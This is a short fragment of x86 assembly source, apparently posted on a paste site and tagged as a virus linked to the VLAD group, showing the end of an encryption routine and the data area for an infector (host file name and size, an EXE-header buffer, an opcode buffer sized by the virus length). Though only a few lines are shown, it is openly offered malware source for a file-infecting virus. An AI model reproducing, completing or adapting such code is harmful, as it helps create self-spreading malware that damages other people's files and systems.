  811.   loop EnDe                                                         ;       *
  812.                                                                     ;       *
  813.   pop  ds                                                           ;       *
  814.   pop  dx                                                           ;       *
  815.   pop  ax                                                           ;       *
  816.   ret                                                               ;       *
  817. EnValue       db  8  dup   0    ; Encryption Value                  ;       *
  818. ;********************* Memory encrypted / File NOT encrypted ****************
  819.  
  820. Heap:
  821. Hostname      dd      0               ;Seg:Off to Host file name
  822. HostSize      dd      0               ;Seek-End size of Host file
  823. Extname       dd      0               ;Seg:Off to Host file name
  824. buffer        db      1ch dup 0       ;buffer for exe-header
  825. OpBuffer      db      VXSize+64h dup 0;Opcode buffer for encryption and...
  826. Endcode:                              ;...doubles as a stack
Tags: virus asm vlad
Add Comment
Please, Sign In to add comment